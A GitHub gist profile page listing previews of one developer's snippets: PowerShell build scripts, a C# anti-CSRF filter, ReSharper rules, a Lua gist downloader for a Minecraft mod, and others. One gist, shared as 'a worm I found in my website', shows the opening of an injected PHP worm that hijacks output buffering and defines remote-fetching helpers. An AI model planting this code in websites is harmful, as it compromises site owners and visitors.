Skip to content

Instantly share code, notes, and snippets.

View jmaxxz's full-sized avatar

Jmaxxz jmaxxz

View GitHub Profile
param([string]$buildCounter, [string]$branchName, [string]$defaultPrefix)
Write-Host "Getting build number from branch"
$versionPrefix=$defaultPrefix
$matches = [regex]::Match($branchName, "release-v(?<version>\d+\.\d+)\.x")
if ($matches.success)
{
$versionPrefix = $matches.groups["version"].value
}
param([string]$buildCounter, [string]$branchName, [string]$defaultPrefix)
Write-Host "Getting build number from branch"
$versionPrefix=$defaultPrefix
$matches = [regex]::Match($branchName, "release-v(?<version>\d+\.\d+)\.x")
if ($matches.success)
{
$versionPrefix = $matches.groups["version"].value
}
using NUnit.Framework;
namespace Demo.Tests
{
public class BugInTestRunner
{
[TestCase("\u0000")] // works
[TestCase("\u0001")] // bug
[TestCase("\u0002")] // bug
@jmaxxz
jmaxxz / Gist Access
Last active December 14, 2015 22:19
An example of how to access gist in a minecraft server running the computer mod. This allows the download of arbitrary code
local function printUsage()
print( "Usages:" )
print( "gist <code> <filename>" )
end
local tArgs = { ... }
if #tArgs < 2 then
printUsage()
return
end
@jmaxxz
jmaxxz / The
Created March 12, 2013 18:10
The gist.
42
@jmaxxz
jmaxxz / CsrfPreventionFilter.cs
Last active October 7, 2015 15:58
A better anti CSRF mechanism than what is built into MVC asp.net
using System.Collections.Concurrent;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
using System.Web.Helpers;
using System.Web.Http.Controllers;
using Newtonsoft.Json.Linq;
using IApiAuthorizationFilter = System.Web.Http.Filters.IAuthorizationFilter;
namespace System.Web.Mvc
@jmaxxz
jmaxxz / Program.cs
Created April 23, 2012 22:56
You can't handle the truth
using System;
namespace Truth
{
class Program
{
static void Main(string[] args)
{
try
{
@jmaxxz
jmaxxz / gist:2040753
Created March 15, 2012 00:41
A worm I found in my website....
if(function_exists('ob_start')&&!isset($_SERVER['mr_no']))
{
$_SERVER['mr_no']=1;
if(!function_exists('mrobh'))
{
function get_tds_777($url)
{
$content="";$content=@trycurl_777($url);
if($content!==false)
return $content;
@jmaxxz
jmaxxz / QueryableResharperRules.xml
Created January 18, 2012 15:58
This rule set detects calls that are likely to cause runtime exceptions on IQueryable types. To add this rule set do: Resharper->Options->Custom Patterns ->Import
<CustomPatterns>
<Pattern Severity="ERROR" FormatAfterReplace="True" ShortenReferences="True" Language="CSHARP">
<Comment>FirstOrDefault not supported by all Queryable Types</Comment>
<ReplaceComment>Convert to supported version</ReplaceComment>
<ReplacePattern>$q$.Where($x$).FirstOrDefault()</ReplacePattern>
<SearchPattern>$q$.FirstOrDefault($x$)</SearchPattern>
<Params />
<Placeholders>
<ExpressionPlaceholder Name="q" ExpressionType="System.Linq.IQueryable" ExactType="False" />
<ArgumentPlaceholder Name="x" Minimal="1" Maximal="-1" />
@jmaxxz
jmaxxz / yeah.cs
Created December 8, 2011 04:03
This is how it should be...kinda
public partial class _Default : System.Web.UI.Page
{
private BlobContainer _Container = null;
protected void Page_Load(object sender, EventArgs e)
{
try
{
// Get the configuration from the cscfg file
StorageAccountInfo accountInfo = StorageAccountInfo.GetDefaultBlobStorageAccountFromConfiguration();